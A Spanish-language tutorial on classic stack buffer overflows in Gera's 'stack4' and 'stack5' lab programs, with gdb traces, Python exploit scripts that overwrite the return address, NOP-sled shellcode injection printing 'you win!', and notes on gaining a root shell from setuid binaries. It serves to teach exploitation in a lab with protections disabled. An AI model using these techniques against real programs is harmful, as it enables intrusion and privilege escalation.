Ataque “Smash the stack” II

Análisis del programa vulnerable

Stack 4

#include <stdio.h>
int main() {
        int cookie;
        char buf[80];

        printf("buf: %08x cookie: %08x\n", &buf, &cookie);
        gets(buf);

        if (cookie == 0x000d0a00)
                printf("you win!\n");
}

¿Qué hace el programa?

Se declaran dos variables locales: cookie y buf. Y una función gets(buf) que toma datos de la entrada estándar y los guarda en buf. La única diferencia con programas anteriores es que esta vez el valor de cookie debe ser 0x000d0a00.

Layout de la pila antes del exploit:

Es idéntico al de programas anteriores.
Antes de ejecutar gets(buf) el mapa de la pila del programa es el siguiente:

       int main() {
           int cookie;
           char buf[80];
           
           printf("buf: %08x cookie: %08x\n", &buf, &cookie);
eip =>     gets(buf);
   
           if (cookie == 0x000d0a00)
                   printf("you win!\n");
       }

pila

Información útil del mapa de la pila:

[ebp-0x54]  = buf
[ebp-0x4]   = cookie
[ebp]       = ebp anterior guardado
[ebp+0x4]   = dirección de retorno

Probamos con la misma estrategia que en los problemas anteriores, modificando el valor de cookie para que el condicional se evalúe como verdadero.

#exploit.py

#!/usr/bin/python
output = "A" * 80 + "\x00\x0a\x0d\x00"
print output

Pero observamos que el mensaje ganador no se imprime:

user@abos:~$ python exploit.py |./stack4        
buf: bffff5b4 cookie: bffff604
user@abos:~$

Si debugeamos el programa vulnerable con gdb podemos observar porqué.

user@abos:~$ python exploit.py > exploit 

user@abos:~$ gdb stack4
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Reading symbols from stack4...done.

>>> break main
Breakpoint 1 at 0x8048461: file stack4.c, line 10.

>>> run < exploit

Avanzamos varias instrucciones (con el operador ni en gdb) hasta llegar a la evaluación condicional y nos detenemos en la instrucción encargada de comparar el valor de cookie con 0x000d0a00:

main+39 mov    eax,DWORD PTR [ebp-0x4]    ; se almacena el valor de cookie en eax
main+42 cmp    eax,0x0d0a00               ; se evalua ¿cookie == 0x000d0a00? 

Si detenemos la ejecución antes de la comparación podemos observar el valor del registro eax donde está almacenado el valor de cookie.

stack4-gdb

Apesar de que en exploit.py apuntamos a sobreescribir cookie con el valor \x00\x0a\x0d\x00, vemos que el registro eax que almacena el valor de esa variable tiene un valor de 0x00000000.
Si analizamos la documentación de gets() (con man gets) vemos que la lectura de caracteres se interrumpe con el caracter de nueva línea \n (el carácter de salto de línea ASCII en hexa es 0a). Por lo tanto la escritura en cookie de \x00\x0a\x0d\x00 lee 0x00 y se interrumpe por el carácter 0x0a que es reemplazado por un caracter nulo.
De esta manera cookie no tiene el valor adecuado y no se cumple la condición.

¿Cuál es la dificultad principal?

En el valor de cookie hay caracteres que controlan el funcionamiento de gets():

  1. gets(), fgets(): leen por stdin hasta el byte de control \x0a.
  2. strcpy(), strlen(), strcmp(): manipulan el string hasta \x00.

Ataque “Smash the stack”

Previamente se usó una estrategia de corrupción de la pila para modificar el valor de una variable local.
No obstante, el ataque Smash the stack tradicional tiene como objetivo controlar el flujo de ejecución del programa vulnerable para ejecutar código malicioso. Para ello es necesario controlar el registro eip. Este registro no puede ser modificado de manera directa sino que su valor cambia de acuerdo a las instrucciones de máquina. Por ejemplo, la instrucción ret toma una dirección del tope de la pila y la almacena en eip para que el flujo de ejecución salte inmediatamente después a ella.
De esta manera si es posible controlar las direcciones de retorno almacenadas en la pila es posible controlar, en última instancia, el valor del registro eip y por ende el flujo de ejecución.

Para ello este tipo de ataques cuenta con dos pasos. Primero, gracias al desbordamiento de un búfer, se reescribe una dirección de retorno en la pila. Segundo, se inyecta código malicioso en la pila del proceso, para apuntar allí la dirección de retorno.
Entonces, esta vez la corrupción de la pila tendrá como objetivo modificar el retorno de una rutina para lograr un salto a una dirección determinada dentro del programa vulnerable.

El objetivo ya no será modificar el valor de cookie sino aprovecharnos de que printf("you win!\n") es parte del programa vulnerable. De esta manera con una corrupción de la pila modificaremos la dirección de retorno de main() para que, al retornar, el flujo de ejecución salte directamente a la línea de código printf("you win!\n"), sin importar la evaluación de cookie.

   <main>:
        if (cookie == 0x000d0a00)
            mov    eax,DWORD PTR [ebp-0x4]
            cmp    eax,0x41424344
            jne    0x80484a9 <main+62>

          printf("you win!\n");
      -->      push   0x8048548
      |        call   0x8048340 <puts@plt>     ; llamado a puts() porque string es estático
      |        add    esp,0x4
      |        mov    eax,0x0
      |
      |  }   
      |      leave  
eip=> +---<  ret 

La estrategia será ingresar un input adecuado para sobreescribir la dirección de retorno de main() almacenada en la pila, y reemplazarla por la dirección de printf() que imprime el mensaje ganador.

  1. Identificamos la dirección de la llamada a printf()

    user@abos:~$ objdump -M intel -S stack4
    
         Disassembly of section .text:
    
         08048390 <_start>:
       ....
    
         0804848b <main>:
              if (cookie == 0x41424344)
              08048492:    mov    eax,DWORD PTR [ebp-0x4]
              08048495:    cmp    eax,0x41424344
              0804849a:    jne    0x80484a9 <main+62>
       
                printf("you win!\n");
            --> 0x0804849c:    push   0x8048548              ; addr de la llamada a printf()
            |   0x080484a1:    call   0x8048340 <puts@plt>
            |   0x080484a6:    add    esp,0x4
            |   0x080484a9:    mov    eax,0x0
            |
            |  }   
            |   0x080484ae:   leave  
    eip =>  +-- 0x080484af:    ret 
    

    Al ejecutar la instrucción leave, se reestablece el tope de la pila (esp apunta a ebp) y se actualiza el registro ebp al marco de la función anterior (de forma simplificada correspondería a _start) con un pop ebp. En este punto, el tope de la pila esp apunta a la dirección de retorno de main(). La instrucción ret desapila una dirección del tope de la pila y la almacena en el registro eip. El programa continúa su ejecución en esa instrucción indicada por eip.

    El objetivo es generar un layout de pila tal que la dirección de retorno en el tope de la pila al momento de ejecutar la instrucción ret sea la dirección de la primer instrucción del printf() (0x0804849c: push 0x8048548).

  2. Planificamos el overflow por entrada estándar, considerando el formato little endian en la dirección de printf:

    input

  3. Armamos un archivo en Python para ingresar el input: exploit.py

    #! /usr/bin/env python
    """Uso: ./exploit.py | ./stack4 """
    import sys
    from struct import pack
       
    ret_addr = 0x0804849c                               #addr de printf("you win!")
       
    exploit  = "A" * 80                                 #fill buf
    exploit += "BBBB"                                   #fill cookie
    exploit += "CCCC"                                   #fill ebp
    exploit += pack("<I", ret_addr)                     #set return address
       
    sys.stdout.write(exploit)
    

Consideraciones: en python es posible convertir a formato little endian una dirección importando struct y usando la función pack: pack("<I", ret_addr)

  1. Ejecutamos el exploit
    user@abos:~$ ./exploit.py | ./stack4
    buf: bffff5a4 cookie: bffff5f4
    you win!
    Segmentation fault
    user@abos:~$
    

    La condición que evalúa el valor de cookie es falsa, pero después de ejecutarse el código de main() la dirección de retorno apunta a printf(), por lo que se salta allí y se imprime you win! por pantalla.

    Gráficamente logramos el siguiente resultado:

    pila después

Para lograr sobreescribir la dirección de retorno de main() tuvimos que pisar valores importantes como el puntero ebp almacenado en la pila. Es por ello que luego de imprimir el mensaje ganador se produce una violación de segmento al intentar acceder a direcciones por fuera del mapa de memoria del proceso. Si reconstruyeramos el layout de la pila podríamos lograr una salida del programa sin errores. …………………………………………………………………………………………………………………………………………………

Ataque “Smash the stack” con inyección de código

Análisis del programa vulnerable

Stack 5

        #include <stdio.h>

        int main() {
                int cookie;
                char buf[80];

                printf("buf: %08x cookie: %08x\n", &buf, &cookie);
                gets(buf);

                if (cookie == 0x000d0a00)
                        printf("you loose!\n");
        }

¿Qué hace el programa?

El programa es idéntico al de stack4, pero se imprime un mensaje diferente.

Solución anterior: aprovechar mensaje existente

No es de utilidad usar la misma estrategia que en el exploit del stack4, dado que si logramos saltear la evaluación condicional, el mensaje que logramos imprimir no es el deseado.

user@abos:~$ python exploit.py | ./stack5
buf: bffff5b4 cookie: bffff604
==> you loose!

¿Cuál es la dificultad principal?

¡Ya no podemos saltar al mensaje ganador! El mensaje ganador a imprimir ya no es parte del programa vulnerable.
Una opción entonces es crear un propio programa que imprima el mensaje ganador: nuestro shellcode.

Ataque “Smash the stack” con inyección de código

Necesitamos imprimir un mensaje ganador que no está en el programa vulnerable. Si bien es posible pensar diferentes ataques para lograr imprimir el string deseado, es una buena excusa para planificar una estrategia de inyección de código.

La inyección de código malicioso en la pila y su posterior ejecución conforman una técnica clásica para explotar programas vulnerables que es necesario conocer aunque su utilización no sea tan simple en escenarios actuales. Es por ello que aún es necesario deshabilitar artificialmente las mitigaciones que impiden ejecución de código en la pila (X^W) y la aleatoriedad en las direcciones de memoria.

La estrategia de ataque involucra crear un programa o shellcode que imprima por salida estándar el mensaje ganador, inyectarlo en la pila y ejecutarlo.

Layout de la pila deseado:

layout pila

En buf ya no va a ir basura sino el shellcode antecedido por varios NOPs. Aprovechamos gets() para copiar los NOPs y el shellcode como string en la pila en buf y sobreescribirmos la dirección de retorno para que apunte a los NOPs de buf.

  1. Programamos el shellcode
    Nuestro shellcode es un programa simple creado en assembler que con una llamada al sistema imprime “you win!” por salida estándar. Está disponible el código assembler y el paso a paso de cómo está programado.
    shellcode  = "\xeb\x16\x31\xc0\x59\x88\x41\x08\xb0\x04\x31\xdb\x43"
    shellcode += "\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe5"
    shellcode += "\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21\x41"            
    
  2. Averiguamos dirección de buf en la pila ejecutando el programa vulnerable
    user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o stack5 stack5.c
       
    user@abos:~$ ./stack5
    buf: bffff5b4 cookie: bffff604
    
  3. Planificamos el overflow por entrada estándar, considerando el formato little endian:

    input

  4. Armamos un archivo en Python para ingresar el input
       
    #! /usr/bin/env python
    """Uso: ./exploit.py | ./stack5 """
       
    import sys
    from struct import pack
       
    #shellcode, imprime you win!
    shellcode  = "\xeb\x16\x31\xc0\x59\x88\x41\x08\xb0\x04\x31\xdb\x43"
    shellcode += "\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe5"
    shellcode += "\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21\x41" 
                   
    ret_addr = 0xbffff5b4                           #addr de buf
       
    exploit  = "\x90" * 20                          #nops iniciales buf
    exploit += shellcode                            #shellcode
    exploit += "A" * (80-20-len(shellcode))         #padding hasta fin de buf
    exploit += "BBBB"                               #lleno cookie
    exploit += "CCCC"                               #lleno ebp
    exploit += pack("<I", ret_addr)                 #defino return address
       
    sys.stdout.write(exploit)    
    
  5. Ejecutamos el exploit
    user@abos:~$ ./exploit.py | ./stack5
    buf: bffff5b4 cookie: bffff604
    you win!
    

    Gráficamente logramos el siguiente resultado:

    pila después

Es interesante tener en cuenta que el shellcode utilizado realiza un syscall write para imprimir el mensaje y luego un syscall exit para finalizar el proceso exitosamente. A diferencia de lo que sucedía en el stack4 (ejercicio en el que la destrucción del layout de la pila provocaba una violación de segmento), en este caso por el modo en que fue construido el shellcode el programa finaliza sin errores.

Lograr privilegios de root

En escenarios reales el objetivo no será imprimir un mensaje ganador sino lograr privilegios de root para exponer archivos e información privada, manipular logs, etc.
Existen varias estrategias para lograr una shell con privilegios de root o directamente para escalar privilegios a partir de una shell, que exceden el objetivo de esta guía en este punto. Por ejemplo en un escenario en el que se ataca un binario compilado con setuid root, si se logra que el programa vulnerable realice una syscall execve y ejecute una shell con execve("/bin/sh") ésta será una root shell. Es por ello que en la compilación del binario ejecutable modificamos los permisos de la siguiente manera:

user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o abo abo.c
user@abos:~$ sudo chown root ./abo; sudo chmod u+s ./abo                      ; root owner & setuid
user@abos:~$ ls -la
-rwsr-xr-x  1 root   user XXXX Jan 01 00:00 abo

¿Cómo seguir?

  1. Abo1
  2. Abo2: No es posible explotar este programa en una arquitectura x86. ¿Por qué?

      /* abo2.c                                                   * 
       * specially crafted to feed your brain by gera@core-sdi.com */
       
      /* This is a tricky example to make you think               * 
       * and give you some help on the next one                   */
       
      int main(int argv,char **argc) {
        char buf[256];
       
        strcpy(buf,argc[1]);
        exit(1);
      }
    

    Tener en cuenta que en los abos originales los nombres de argc y de argv están invertidos.

  3. Resolver nuevamente los Stack pero inyectando un shellcode que en vez de imprimir “you win!” devuelva una shell de comandos cuando se ejecute.

Material consultado

[1]. Hanna, Steve. (2004). Shellcoding for Linux and Windows Tutorial. Disponible en: http://www.vividmachines.com/shellcode/shellcode.html